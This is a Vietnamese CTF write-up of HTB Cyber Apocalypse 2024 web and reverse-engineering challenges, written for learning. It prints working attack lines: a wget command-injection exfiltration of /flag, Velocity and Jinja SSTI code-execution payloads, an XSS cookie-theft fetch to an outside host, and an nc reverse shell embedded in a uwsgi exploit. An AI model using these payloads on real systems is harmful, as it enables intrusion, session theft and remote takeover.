        $this->command = "date '+" . $format . "' 2>&1";
    }

    public function getTime()
    {
        $time = exec($this->command);
        $res  = isset($time) ? $time : '?';
        return $res;
    }
}

Trong class TimeModel sẽ khởi tạo với biến format ở trên sẽ tạo 1 command và khi gọi phương thức getTime() và exec command

Hmm, thì đây là mình có thể vận dụng để tấn công commandinjection.

ATTACK

Đầu tiên mình thử dùng curl thì sever không có, thử tiếp đến wget với payload: ';wget+--post-data+"$(cat+/flag)"+-O-+s6thtnzk.requestrepo.com'

image

Kết quả:

image

Hihi thì đây là nếu bạn muốn blind, còn nếu muốn không blind thì 👎

image

Flag

HTB{t1m3_f0r_th3_ult1m4t3_pwn4g3}

Labyrinth Linguist

credit: l3mnt2010

image

Hihi tiếp tục là một bài white-box nhưng mà với source java mà lâu rùi mình chưa đụng nên mình chưa làm và gần cuối giải thì mới để ý và xem thêm hướng giải quyết của các anh trong clb hihi:((()):

RECON

Đầu tiên thì cũng xem phần "vỏ" của trang này

image

Thấy cái lá xanh xanh kia là biết java spring boot rùi:<

Enter text to translate english to voxalith! nhập text để chuyển đổi qua voxalith

image

Khumm hiểu lắm @@

Chức năng cũng khá đơn giản:

image

Search xem có gì không thì cũng không có gì khác ngoài cái template khá giống bài j4JA trong tetCTF hmm,…

image

image

Okie bây giờ thì view java source thuiiiiiiii:<

DETECT

Sương sương thì cấu trúc cây thư mục như thế này:

image

/src/main/resources/templates/index.html

image

Như ta thấy thì khi mà ta submit sẽ post text lên sever để xử lí. Dockerfile

Ở chall này thì flag nằm trong /flag.txt

Main.class

// Source code is decompiled from a .class file using FernFlower decompiler.
import java.io.BufferedReader;
import java.io.FileReader;
import java.io.IOException;
import java.io.StringReader;
import java.io.StringWriter;
import org.apache.velocity.Template;
import org.apache.velocity.VelocityContext;
import org.apache.velocity.runtime.RuntimeServices;
import org.apache.velocity.runtime.RuntimeSingleton;
import org.apache.velocity.runtime.parser.ParseException;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.EnableAutoConfiguration;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
@Controller
@EnableAutoConfiguration
public class Main {
   public Main() {
   }

   @RequestMapping({"/"})
   @ResponseBody
   String index(@RequestParam(required = false,name = "text") String textString) {
      if (textString == null) {
         textString = "Example text";
      }

      String template = "";

      try {
         template = readFileToString("/app/src/main/resources/templates/index.html", textString);
      } catch (IOException var9) {
         var9.printStackTrace();
      }

      RuntimeServices runtimeServices = RuntimeSingleton.getRuntimeServices();
      StringReader reader = new StringReader(template);
      Template t = new Template();
      t.setRuntimeServices(runtimeServices);

      try {
         t.setData(runtimeServices.parse(reader, "home"));
         t.initDocument();
         VelocityContext context = new VelocityContext();
         context.put("name", "World");
         StringWriter writer = new StringWriter();
         t.merge(context, writer);
         template = writer.toString();
      } catch (ParseException var8) {
         var8.printStackTrace();
      }

      return template;
   }

   public static String readFileToString(String filePath, String replacement) throws IOException {
      StringBuilder content = new StringBuilder();
      BufferedReader bufferedReader = null;

      try {
         bufferedReader = new BufferedReader(new FileReader(filePath));

         String line;
         while((line = bufferedReader.readLine()) != null) {
            line = line.replace("TEXT", replacement);
            content.append(line);
            content.append("\n");
         }
      } finally {
         if (bufferedReader != null) {
            try {
               bufferedReader.close();
            } catch (IOException var10) {
               var10.printStackTrace();
            }
         }

      }

      return content.toString();
   }

   public static void main(String[] args) throws Exception {
      System.getProperties().put("server.port", 1337);
      SpringApplication.run(Main.class, args);
   }
}

Decompile sẽ thấy được source kia, thì chall này chỉ có source này chính thui

import java.io.BufferedReader;
import java.io.FileReader;
import java.io.IOException;
import java.io.StringReader;
import java.io.StringWriter;
import org.apache.velocity.Template;
import org.apache.velocity.VelocityContext;
import org.apache.velocity.runtime.RuntimeServices;
import org.apache.velocity.runtime.RuntimeSingleton;
import org.apache.velocity.runtime.parser.ParseException;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.EnableAutoConfiguration;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;

Ta có thể xem version và library của các notification và các hàm sử dụng trong Main.

Cần chú ý là sever sử dụng thư viện apache.velocity version 1.7

image

Quay lại phần phân tích source như ta đã thấy ở trên thì chall này chỉ có 1 route duy nhất là / thui

 @RequestMapping({"/"})
   @ResponseBody
   String index(@RequestParam(required = false,name = "text") String textString) {
      if (textString == null) {
         textString = "Example text";
      }

      String template = "";

      try {
         template = readFileToString("/app/src/main/resources/templates/index.html", textString);
      } catch (IOException var9) {
         var9.printStackTrace();
      }

      RuntimeServices runtimeServices = RuntimeSingleton.getRuntimeServices();
      StringReader reader = new StringReader(template);
      Template t = new Template();
      t.setRuntimeServices(runtimeServices);

      try {
         t.setData(runtimeServices.parse(reader, "home"));
         t.initDocument();
         VelocityContext context = new VelocityContext();
         context.put("name", "World");
         StringWriter writer = new StringWriter();
         t.merge(context, writer);
         template = writer.toString();
      } catch (ParseException var8) {
         var8.printStackTrace();
      }

      return template;
   }

Đầu tiên nhận giá trị text được post lên từ index.html template nếu mà textString là null thì gán textString=Example text

Sau đó khởi tạo String template với chuỗi rỗng.

Sau đó try catch để gán template bằng nội dung template + hiển thị textString

Tiếp tục RuntimeServices runtimeServices = RuntimeSingleton.getRuntimeServices();

Tạo một biến runtimeServices và từ đó ta có thể sử dụng các phương thức và thuộc tính của RuntimeSingleton.getRuntimeServices();

StringReader reader = new StringReader(template);: Tạo một đối tượng StringReader từ một chuỗi template. StringReader là một lớp trong Java cho phép đọc từ chuỗi này.

Template t = new Template();: Tạo một thể hiện mới của lớp Template. Đối tượng này sẽ đại diện cho một template, mà sau đó có thể được sử dụng để xử lý và sinh ra dữ liệu đầu ra dựa trên dữ liệu đầu vào được cung cấp.

t.setRuntimeServices(runtimeServices);: Thiết lập RuntimeServices cho đối tượng template t đã tạo. Điều này đảm bảo rằng template có thể sử dụng các dịch vụ và tính năng được cung cấp bởi RuntimeServices, chẳng hạn như các hàm và biến được định nghĩa trong quá trình xử lý template.

Tiếp nữa là sử dụng try-catch 🅰️

try {
         t.setData(runtimeServices.parse(reader, "home"));
         t.initDocument();
         VelocityContext context = new VelocityContext();
         context.put("name", "World");
         StringWriter writer = new StringWriter();
         t.merge(context, writer);
         template = writer.toString();
      } catch (ParseException var8) {
         var8.printStackTrace();
      }

GPT Một tí :>:

t.setData(runtimeServices.parse(reader, "home")): Đọc và phân tích nội dung của reader (đã được tạo từ chuỗi template) bằng cách sử dụng runtimeServices. Kết quả được đặt vào đối tượng t để sử dụng cho việc tạo ra dữ liệu đầu ra.

t.initDocument(): Khởi tạo tài liệu của template. Điều này chuẩn bị template để merge với dữ liệu và sinh ra dữ liệu đầu ra.

VelocityContext context = new VelocityContext(): Tạo một đối tượng VelocityContext, một đối tượng lưu trữ các cặp khóa-giá trị được sử dụng trong quá trình merge.

context.put("name", "World"): Thêm một cặp khóa-giá trị vào VelocityContext. Trong ví dụ này, "name" là khóa và "World" là giá trị tương ứng.

StringWriter writer = new StringWriter(): Tạo một đối tượng StringWriter để lưu kết quả của việc merge template.

t.merge(context, writer): Merge template với dữ liệu được cung cấp từ VelocityContext vào StringWriter. Kết quả được lưu trong StringWriter.

template = writer.toString(): Chuyển nội dung của StringWriter thành một chuỗi và gán vào biến template.

Để ý đoạn này : VelocityContext context = new VelocityContext();

image

Chưa làm thì cũng đoán chắc đây là SSTI rùi:<

Sau khi hỏi mấy anh thì mình tìm được bài nì:

https://www.linkedin.com/pulse/apache-velocity-server-side-template-injection-marjan-sterjev/

Có cả POC lun:

Mình sẽ dựa trên blog này để phân tích:

Apache Velocity Server-Side Template Injection

Như search ở trên thì đây là một template để hiển thị nội dung của java từ apache cũng giống như bao thư viện khác

import java.io.StringWriter;
import org.apache.velocity.Template;
import org.apache.velocity.VelocityContext;
import org.apache.velocity.app.VelocityEngine;

public class VelocityTest {

    public static void main(String[] args) throws Throwable {

        VelocityEngine velocityEngine = new VelocityEngine();
        velocityEngine.init();
        Template t = velocityEngine.getTemplate("template.vm");
        VelocityContext context = new VelocityContext();
        context.put("name", "l3mnt2010");
        StringWriter writer = new StringWriter();
        t.merge(context, writer);
        System.out.println(writer);

    }

}

Ta có thể thấy source khá tương tự ở trên nêu thì khi mình nhập vào thì sẽ hiển thị nội dung name + l3mnt2010:

Đây là source

Và cũng giống như những template khác thì velocity cũng có thể truy cập được với các cú pháp của nó và ta chú ý đến #set($message = "l3mnt2010")

Thì biến $message được gán giá trị là l3mnt2010, nếu từ riêng lẻ thì khó có thể thực thi mã với os trên template này nên ta sử dụng kết hợp với các lớp hàm hàm khởi tạo của java luôn

POC:

#set($s="")
#set($stringClass=$s.getClass())
#set($stringBuilderClass=$stringClass.forName("java.lang.StringBuilder"))
#set($inputStreamClass=$stringClass.forName("java.io.InputStream"))
#set($readerClass=$stringClass.forName("java.io.Reader"))
#set($inputStreamReaderClass=$stringClass.forName("java.io.InputStreamReader"))
#set($bufferedReaderClass=$stringClass.forName("java.io.BufferedReader"))
#set($collectorsClass=$stringClass.forName("java.util.stream.Collectors"))
#set($systemClass=$stringClass.forName("java.lang.System"))
#set($stringBuilderConstructor=$stringBuilderClass.getConstructor())
#set($inputStreamReaderConstructor=$inputStreamReaderClass.getConstructor($inputStreamClass))
#set($bufferedReaderConstructor=$bufferedReaderClass.getConstructor($readerClass))

#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("ls /"))
#set($null=$process.waitFor() )

#set($inputStream=$process.getInputStream())
#set($inputStreamReader=$inputStreamReaderConstructor.newInstance($inputStream))
#set($bufferedReader=$bufferedReaderConstructor.newInstance($inputStreamReader))
#set($stringBuilder=$stringBuilderConstructor.newInstance())

#set($output=$bufferedReader.lines().collect($collectorsClass.joining($systemClass.lineSeparator())))

$output

Ở đây ta lợi dụng hàm thực thi từ java.lang.Runtime để chạy os command và kết quả nhận được

image

Và lụm flag thui:

image

Flag

HTB{f13ry_t3mpl4t35_fr0m_th3_d3pth5!!}

Apexsurvive

credit: kev1n

Dạo này mình khá là hay viết wu các ctf challenge (chắc chắn không phải là do ngày trước mình lười), nó dường như đã tạo cho mình thói quen hàng tuần mình sẽ wu lại những challenge mình chơi và mình thấy hay và học được nhiều thứ từ nó. Câu lạc bộ mình tuần này có tham gia giải HTB - Cyber Apocalypse 2024, phải công nhận đây là một giải dài hơi và mình đã tốn tương đối thời gian cho các challenge web của giải này (cụ thể là 4 ngày) nhưng vẫn không thể solve được hết web challenge của giải, bản thân mình còn phải học hỏi rất nhiều nữa mới có thể hiểu và solve được dạng bài web cuối cùng nếu lần sau còn gặp lại. Giải đã kết thúc và cũng nhờ sự cố gắng, try hard của các anh em trong câu lạc bộ đến từ mọi mảng mà clb mình cũng đạt được thứ hạng mình nghĩ là khá cao.

Lan man vậy cũng đủ rồi, sau đây sẽ là quá trình mình và các teamates trong KCSC đi giải các challenge web HTB, cũng như cách hiểu của mình về web chall đó. Let's go!!

image

Preface

Đây là một chall white box nên mình download source về rồi dựng local khai thác cho nó tiện theo dõi :")))

Sau khi dựng xong thì mình cũng phải khá choáng vì dockerfile của bài này những 70 dòng, nên mình tò mò đọc để nắm trước cần phải làm gì ở chall này

# Setup flag
COPY flag.txt /root/flag
RUN chmod 600 /root/flag

# Setup readflag
COPY config/readflag.c /
RUN gcc -o /readflag /readflag.c && chmod 4755 /readflag && rm /readflag.c

Docker như này là mình phải RCE để lấy flag rùi Chall có 2 service, 1 service web chính chạy python, và service email chạy js (và bot), nên mình nghĩ chắc sẽ có cả lỗ hổng client side và server side trong challenge này

Verify email token

Vào chall thì mình được 'hướng dẫn' đăng kí với tên test@email.htb và để nhận được token email verify, nên cũng nhanh nhảu register và nhận được token ở endpoint /email khi đã vào account settings và chọn verify:

image

Sau khi verify mình thấy có chức năng report và tham số truyền vào là ID của sản phẩm có tại /challenge/home(nghe mùi xss quá)

Đi vào đọc source, mình thấy có endpoint /eternal khá hay khi cho phép redirect đến endpoint mình control:

@web.route('/external')
def external():
    url = request.args.get('url', '')

    if not url:
        return redirect('/')

    return redirect(url)

Với việc cookie được set samesite: strict, mình nghĩ đến việc bypass Samesite Strict bằng redirect nên đã ngồi với thằng này cả buổi nhưng không có kết quả 😢

Mò mẫm source code

Sau khi tốn kha khá thời gian với thằng endpoint này mà không được kết quả gì, mình quyết định tạm thời bỏ qua và hướng đến các chức năng khác, có 2 chức năng đáng chú ý khi mình có thể lên được admin, đó là thêm sản phẩm/addItem và thêm contract/addContract.

  • Chức năng thêm sản phẩm có thể được sử dụng khi mình thỏa mãn isInternal (cụ thể là thuộc tính isInternal của user trong db là true) thì có thể sử dụng, addItem dùng để thêm một sản phẩm mới vào shop. Tuy nhiên thì các input cũng đã được sanitize chỉ cho phép nhập vào các tag và attribute nhất định được quy định trong middlewares.py
@api.route('/addItem', methods=['POST'])
@isAuthenticated
@isVerified
@isInternal
@antiCSRF
@sanitizeInput
def addItem(decodedToken):
    name = request.form.get('name', '')
    price = request.form.get('price', '')
    description = request.form.get('description', '')
    image = request.form.get('imageURL', '')
    note = request.form.get('note', '')
    seller = request.form.get('seller', '')

    if any(value == '' for value in [name, price, description, image, note, seller]):
        return response('All fields are required!'), 401

    newProduct = addProduct(name, image, description, price, seller, note)

    if newProduct:
        return response('Product Added')

    return response('Something went wrong!')
  • Chức năng mình muốn nói đến thêm contract, khi upload 1 file lên, server lưu nội dung vào /tmp/temporaryUpload rồi mới check nội dung của file đó ở hàm checkPDF sử dụng PdfReader mode strict (khó cứu ca này). Nếu check thành công sẽ nối /app/application, contracts và file name bằng os.path.join để tạo thành file path hoàn chỉnh. Hàm path.join dính path traversal nặng và đây là lỗi mình cần khai thác để exploit path traversal upload file to RCE.

image

@api.route('/addContract', methods=['POST'])
@isAuthenticated
@isVerified
@isInternal
@isAdmin
@antiCSRF
@sanitizeInput
def addContract(decodedToken):
    name = request.form.get('name', '')

    uploadedFile = request.files['file']

    if not uploadedFile or not name:
        return response('All files required!')

    if uploadedFile.filename == '':
        return response('Invalid file!')

    uploadedFile.save('/tmp/temporaryUpload')

    isValidPDF = checkPDF()

    if isValidPDF:
        try:
            filePath = os.path.join(current_app.root_path, 'contracts', uploadedFile.filename)
            with open(filePath, 'wb') as wf:
                with open('/tmp/temporaryUpload', 'rb') as fr:
                    wf.write(fr.read())

            return response('Contract Added')
        except Exception as e:
            print(e, file=sys.stdout)
            return response('Something went wrong!')

    return response('Invalid PDF! what are you trying to do?')
  • Buồn ở chỗ chức năng này không dễ có tí nào vì phải là admin thì mới sử dụng được, bài toán lúc này lại quay về việc làm thế nào để lên được admin

Tiếp tục đọc source, mình ngốn khoảng 1 buổi tiếp theo để nghĩ cách bypass admin nhưng chẳng có cách nào khả thi, cũng may là cuộc thi kéo dài nhiều ngày nên mình có nhiều thời gian suy nghĩ hơn. Lúc này mình đã chịu và không tìm được cách leo lên admin, nhưng lại biết được vuln sau khi lên admin (aizzz chíc tịc). Nhận thấy chức năng report sẽ lấy credential của admin và gửi đi nên mình sử dụng chúng đăng nhập vào admin exploit lỗi upload file, các teammates sẽ lo vụ leo lên admin 😆

2024-03-16 22:34:49 127.0.0.1 - - [16/Mar/2024 15:34:49] "GET /visit?productID=1&email=xclow3n@apexsurvive.htb&password=d8Bfk5Fw6oiROrxqrS2TmLc4NF1ZHU3r0OQfZSzbHna2DGljQbEmNG6st7uZ9QQ7 HTTP/1.1" 200 -

Exploit file upload

Nói đến upload file python thì cách đầu tiên mình nghĩ đến là upload ghi đè file __init__.py nhưng web này lại không có nên hướng đi đó không khả thi cho lắm

Vì mới gần đây có một bài upload python cũng na ná, teammate MacHongNam đã gợi ý mình cách ghi đè file html và ssti trong file đó để khi server render_template sẽ trigger ssti để RCE. Điều kiện là file templates đó chưa được render lần nào, vì render_template sẽ ghi nhớ các lần render nên nếu render lỗi khả năng phải chạy lại docker làm lại là rất cao

Mình sẽ chọn templates info.html được render ở path / để inject -> trang chủ giới thiệu, chỉ cần lúc đầu mình truy cập thẳng vào path /challenge/email là được

@challengeInfo.route('/')
def info():
    return render_template('info.html')

File sau khi được upload sẽ lưu vào /tmp/temporaryUpload rồi mới được check, sau khi check thành công nội dung được đưa vào folder contracts hoặc là trả về thông báo invalid PDF.

\=> Phải mất 2 lần ghi file thì file mới được ghi thành công, mình hoàn toàn có thể lợi dụng lúc file pdf đang được check để upload 1 file html nữa thế chỗ file pdf cũ

\=> race condition, sau đó sử dụng path traversal ghi đè html là có thể rce thành công rồi

Mình bắt tay vào viết script upload file race condition nhưng bằng một lý do gì đấy mà script của mình đều ghi đè pdf vào templates thay vì file html mà mình mong muốn =))). Mình stuck ở đây cũng phải 2 tiếng trước khi quyết định méo dùng script python nữa mà chuyển qua xài Burp Repeater cho nó nhanh.

Server check pdf chặt nên mình sẽ gửi 1 pdf valid lấy mẫu request, và file html mình copy nguyên từ thằng gốc và nhét thêm dòng:

{% print(namespace.__init__.__globals__.os.popen('/readflag').read()) %}

Thay đổi tên file của các file html thành /app/application/templates/info.html, mình gửi đi cùng lúc 1 req upload pdf và 6 req upload html

image

Sau một hồi spam Ctrl Space thì mình đã ghi đè được file info.html

image

Khai thác thành công!!

image

Tuy rằng đã có thể khai thác thành công, nhưng mình vẫn chưa tìm được cách nào để có thể lên được admin, cùng lúc này teammate MacHongNam bảo mình hãy nghĩ cách để lên được isInternal nhằm sử dụng api /addItem, vì mình có thể dom based XSS tại endpoint /product/product-id

Bypass sanitized input to trigger XSS

Nghe như vậy thì mình đã tìm đến path addProduct để thêm sản phẩm, khi đọc đến product.html thì mình đã thấy vì sao có thể dom based XSS:

<script>
    let note = `{{ product.note | safe }}`;
    const clean = DOMPurify.sanitize(note, {FORBID_ATTR: ['id', 'style'], USE_PROFILES: {html:true}});

    document.getElementById('note').innerHTML += clean;
</script>

Note là một thuộc tính mà mình control khi addProduct -> sử dụng backtick escape khỏi đoạn khai báo note -> XSS:

image

Kết hợp với việc có thể report cho admin về các product, mình có payload sau để lấy session của admin:

`;fetch("https://9vja3pan.requestrepo.com/?"+document.cookie);//

Bypass isInternal with race condition

Tiếp tục vùi đầu vào đống source code, mình thấy được ở đoạn verifyEmail, email được tách ra thành tên và hostname, kiểu a@gmail.com thì tên là a và hostname là gmail.com. Nếu như hostname của mình là apexsurvive.htb thì database sẽ set isInternal="true", đây chính là chỗ mình cần phải exploit

def verifyEmail(token):
    user = query('SELECT * from users WHERE confirmToken = %s', (token, ), one=True)

    if user and user['isConfirmed'] == 'unverified':
        _, hostname = parseaddr(user['unconfirmedEmail'])[1].split('@', 1)

        if hostname == 'apexsurvive.htb':
            query('UPDATE users SET isConfirmed=%s, email=%s, unconfirmedEmail="", confirmToken="", isInternal="true" WHERE id=%s', ('verified', user['unconfirmedEmail'], user['id'],))
        else:
            query('UPDATE users SET isConfirmed=%s, email=%s, unconfirmedEmail="", confirmToken="" WHERE id=%s', ('verified', user['unconfirmedEmail'], user['id'],))

        mysql.connection.commit()
        return True

    return False

Ngặt nghèo ở chỗ là trang email của chúng ta chỉ nhận email gửi đến test@email.htb 😢. Sau khi bế's tắc một khoảng thời gian khá lâu thì teammate Chương tìm ra được cách để nhận được email của tài khoản có hostname apexsurvive.htbrace condition:

  • Khi chỉnh sửa profile từ một email đã verify thành một email khác, server sẽ tự gửi token đến email đó
@api.route('/profile', methods=['POST'])
    ...
    if result:
        if result == 'email changed':
            sendEmail(decodedToken.get('id'), email)
        return response('Profile updated!')
  • API sendVerification cho biết server sẽ lấy thông tin của user đó, kiểm tra xem user đã được confirm email chưa, nếu chưa sẽ gửi token đến email đó
@api.route('/sendVerification', methods=['GET'])
@isAuthenticated
@sanitizeInput
def sendVerification(decodedToken):
    user = getUser(decodedToken.get('id'))

    if user['isConfirmed'] == 'unverified':
        if checkEmail(user['unconfirmedEmail']):
            sendEmail(decodedToken.get('id'), user['unconfirmedEmail'])
            return response('Verification link sent!')
        else:
            return response('Invalid Email')

    return response('User already verified!')

-> Có thể race condition save profile 2 email, đồng thời sendVerification để yêu cầu gửi token đến email, từ đó ghi đè nội dung server gửi cho test@email.htb thành của test@apexsurvive.htb, từ đó lấy token của email test@apexsurvive.htb đi verify là được isInternal=true.

Complete the attack chain & Exploit

Các bước tấn công đã đầy đủ, nên mình sẽ tổng hợp lại như sau:

  • Race condition verify email -> bypass isInternal

  • Dom Based XSS tại /addProduct -> lấy session admin/ bypass admin

  • Race condition upload file -> RCE

Attack chain có tận 2 lần race condition nên việc có thể solve nhanh hay chậm nó phụ thuộc vào may mắn khá nhiều =)), sau khi rõ hướng thì mình deploy web rồi làm luôn và theo như mình thấy thì race verify email là công đoạn lâu nhất.

  • Bypass isInternal

    Mình tiếp tục sử dụng Burp Repeater để race condition email, với 3 req sendVerification, 1 req update profile test@email.htb và 1 req test@apexsurvive.htb:

image

Cuối cùng cũng có token có thể verify

image

image

  • Bypass admin

    Sử dụng payload bên trên và report product id, mình có admin token:

image

image

Đến giờ truy cập admin để RCE rồi

image

  • Upload file

    Mình làm y hệt như ở trên local và lụm được flag của challenge:

image

Flag

HTB{0H_c0m3_0n_r4c3_c0nd1t10n_4nd_C55_1nj3ct10n_15_F1R3}

P/s: Sau khi làm xong mình mới thấy là nếu như render ra pdf thì trang web sẽ bị lỗi và không lưu lại template đó nên mình có thể tiếp tục race mà không phải redeploy challenge.

Another workaround to bypass PDF upload

Sau khi đi tản mạn write up của mọi người, mình có tìm được bài write up này có một solution khác để trigger RCE thông qua upload file:

https://blog.elmosalamy.com/posts/apexsurvive-writeup-htb-cyber-apocalypse-2024/

Đây là một cách rất hay khi server uwsgi dính lỗi arbitary PDF upload, cụ thể là nhằm vào file uwgsi.ini (Chi tiết ở document): https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html

  • uwsgi có khả năng đọc file config của chính nó kể cả khi file dưới dạng binary, miễn sao nó tìm được chuỗi bắt đầu khai báo config hợp lệ: [uwsgi]

  • uwsgi sử dụng operator @ và các scheme để hỗ trợ include, đọc file và call các function, trong đó có scheme exec dùng để thực thi câu lệnh -> Thứ mình cần dùng:

    [uwsgi]
    ; read from a process stdout
    body = @(exec://whoami)

Việc tấn công vào file ini sẽ cần một yếu tố quan trọng khác: Làm thế nào để uwsgi reload lại config của chính nó?

Điều này có thể được giải quyết nếu như uwsgi config sẵn chức năng dùng để debug py-auto-reload, nếu như phát hiện sự thay đổi của các file trong server thì config sẽ được reload.

Việc upload file PDF là chưa đủ, nên sau đó mình cần phải ghi đè một file .py thì server mới reload lại config, từ đó trigger RCE.

  py-autoreload = 3

Document cũng có luôn cả POC nên mình sẽ sửa để đổi thành payload reverse shell:

from fpdf import FPDF
from exiftool import ExifToolHelper

with ExifToolHelper() as et:
    et.set_tags(
        ["lmao.jpg"],
        tags={"model": "&#x0a;[uwsgi]&#x0a;foo = @(exec://nc 0.tcp.ap.ngrok.io 18726 -e /bin/sh)&#x0a;"},
        params=["-E", "-overwrite_original"]
    )
class MyFPDF(FPDF):
    pass

pdf = MyFPDF()

pdf.add_page()
pdf.image('./lmao.jpg')
pdf.output('exploit.pdf', 'F')

Lưu ý: Nếu báo lỗi không có module exiftool thì mình sẽ chạy câu lệnh

    python3 -m pip install -U pyexiftool

Sau khi gen ra PDF thì mình gửi đi để ghi đè /app/uwsgi.ini

image

Ghi đè tiếp /app/application/database.py để trigger uwgsi reload lại config

image

Log server thông báo việc file database.py đã bị thay đổi, tiến hành kill tiến trình và khởi động lại /app, load lại config

image

Reverse Shell thành công

image


Reverse Engineering

LootStash

credit: Trohan0x00

Cách nhanh nhất là shift + f12 và tìm format HTBđể lấy flag

Flag

HTB{n33dl3_1n_a_l00t_stack}

PackedAway

credit: Trohan0x00

Nhìn tên bài thì ta cũng biết bài này đã bị pack. Để chắc chắn hơn ta có thể dùng DIE hoặc file để check

Screenshot from 2024-03-15 00-03-46

File này đã bị pack vậy nên ta tiến hành unpack. Sau khi unpack cũng như bài trước ta sẽ search string để tìm thử format flag và ta thấy flag.

Flag

HTB{unp4ck3d_th3_s3cr3t_0f_th3_p455w0rd}

BoxCutter

credit: Trohan0x00

Ta check main như sau:

int __fastcall main(int argc, const char **argv, const char **envp)
{
    char file[8]; // [rsp+0h] [rbp-20h] BYREF
    __int64 v5[2]; // [rsp+8h] [rbp-18h]
    int fd; // [rsp+18h] [rbp-8h]
    unsigned int i; // [rsp+1Ch] [rbp-4h]

    *(_QWORD *)file = 0x540345434C75637FLL;
    v5[0] = 0x68045F4368505906LL;
    *(__int64 *)((char *)v5 + 7) = 0x374A025B5B035468LL;
    for ( i = 0; i <= 0x16; ++i )
    {
        file[i] ^= 0x37u;
    }

    fd = open(file, 0);
    if ( fd > 0 )
    {
        puts("[*] Box Opened Successfully");
        close(fd);
    }
    else
    {
        puts("[X] Error: Box Not Found");
    }

    return 0;
}

Chương trình khá đơn giản ta chỉ cần chú ý vào vòng lặp for ( i = 0; i <= 0x16; ++i ) { file[i] ^= 0x37u; } chương trình sẽ xor từng kí tự trong file với 0x37u ta sẽ đặt breakpoint để lấy giá trị ra

image

Flag

HTB(tr4c1ng_th3_c4ll5})

CRUSHING

credit: Trohan0x00

Đề cho ta 1 file thực thi và 1 file data, check xem thử file data thế nào

Screenshot from 2024-03-15 00-26-26

Có lẽ đây là flag hoặc output gì đó của chương trình được enc và lưu ở đây, để rõ hơn thì mình sẽ phân tích file ELF kia

image

Quăng vào IDA thì thấy hàm main khá đơn giản, đập vào mình đầu tiên thì chương trình call hai hàm rất đáng nghi là add_char_to_mapserialize_and_output, input nhận từng kí tự hàm check sẽ dừng chương trình chỉ khi input = -1

Hàm add_char_to_map sẽ đưa từng kí tự input vào có lẽ để thực hiện ánh xạ vào structure nào đó, ta sẽ check thử

image

Hàm này về cơ bản là để check các byte value. Mỗi vị trí chứa một danh sách liên kết của phần đối số. Mỗi phần tử có một index trỏ đến vị trí của ký tự trong file data, ta check xem hàm thứ hai

image

Phần list_len tính xem danh sách liên kết của char dài bao nhiêu thì nó sẽ in ra, sau đó nó sẽ in phần index char, lặp 256 lần vì byte từ 0 đến 255.

import struct

def decrypt_message(file_path):
    with open(file_path, 'rb') as f:
        char_to_positions = {}

        for char in range(256):
            if len(f.read(8)) < 8:
                break

            f.seek(-8, 1)

            list_len = struct.unpack('Q', f.read(8))[0]

            positions = []
            for _ in range(list_len):
                if len(f.read(8)) < 8:
                    break

                f.seek(-8, 1)

                positions.append(struct.unpack('Q', f.read(8))[0])

            char_to_positions[char] = positions

        position_to_char = {pos: char for char, positions in char_to_positions.items() for pos in positions}

        decrypted_message = ''.join(chr(position_to_char[pos]) for pos in sorted(position_to_char))

    return decrypted_message

x = decrypt_message("message.txt.cz")
print(x)

Flag

HTB{4_v3ry_b4d_compr3ss1on_sch3m3}

FollowThePath

credit: Trohan0x00

image

Nhìn source code ban đầu sẽ không cho ta nhiều thông tin cho lắm, đơn giản chương trình sẽ yêu càu ta nhập flag và check input đầu vào.

Mình sẽ thử debug đặt breakpoint ở line 9

image

Đây là hàm check input đầu vào của chương trình. Đầu tiên r8 sẽ lưu giá trị từng kí tự đầu vào của chương trình sau đó xor r8, 0C4hcmp r8, 8Ch. Mình nghĩ 2 const này sẽ đổi khi qua các hàm check khác cho từng kí tự khác vì thế để xor ngược lại tìm flag thì ta xor 8Ch, 0C4h ra được kí tự H.

Đây có lẽ là format HTB{ dựa theo format có sẵn ta sẽ spam thử input đầu vào HTV{aaaaaaaaaaa}

Trong lúc debug ta sẽ thấy các biến bên dưới sẽ tự sửa thành code theo như tìm hiểu mình biết được đó là cơ chế self modify

image

Khi chạy đến kí tự a đầu tiên ngoài format ta có thể patch giá trị r8 để qua hàm check hoặc set IP thằng để nhảy qua

Chall có thể làm theo cách thủ công như này nhưng nhiều lúc khá cay tại mình ấn nhầm f9 hoặc là đi quấ hàm check mà chưa kịp set IP nên nó jump vô r10:vvv

Flag

HTB{s3lF_d3CRYpt10N-1s_k1nd4_c00l_i5nt_1t}

QuickScan

credit: Trohan0x00

Chall cho ta sv docker khi truy cập ta sẽ được như sau

Screenshot from 2024-03-16 01-37-40

Đây có lẽ là một chuỗi b64 của file ELF mình quăng lên Cyber chef để decode thì ta được một đoạn code như sau

image

Đoạn decode cho ta 1 chương trình nhỏ, ta chỉ cần đọc được giá trị byte ở byte_80480C5 nhưng giới hạn thời gian bài cho ta chỉ 60s nên việc decode xong đọc giá trị là không thể nên ta sẽ dùng cách khác.

from pwn import *
import base64
def from_bytes(b):
    num = int.from_bytes(b, byteorder='little')
    if num >= (2 ** (len(b) * 8 - 1)):
        num -= (2 ** (len(b) * 8))
    return num

def find_sequence_and_extract_bytes(byte_sequence):
    sequence = bytes([0x48, 0x83, 0xEC, 0x18, 0x48, 0x8D, 0x35])

    data = byte_sequence

    index = data.find(sequence)

    if index == -1:
        print("Sequence not found in file.")
        return

    four_bytes = data[index + len(sequence) : index + len(sequence) + 4]

    b = from_bytes(four_bytes)

    s = index + 4 + 7 + b

    extracted_bytes = data[s : s + 24]

    return extracted_bytes.hex()

r = remote('94.237.62.195' 51062)


first_message = r.recvuntil("Bytes? ").decode()
print(first_message)

first_answer = first_message.split("Expected bytes: ")[1].split("\n")[0]


r.sendline(first_answer)

solved = 0

while solved < 128:

    try:
        second_message = r.recvuntil("Bytes? ").decode()
    except Exception as e:
        print("solve: ", solved)
        print("An error occurred: ", str(e))
        print("Received so far: ", r.recv().decode())

    print(second_message)

    elf_base64 = second_message.split("ELF:  ")[1].split("\n")[0]

    elf = base64.b64decode(elf_base64)
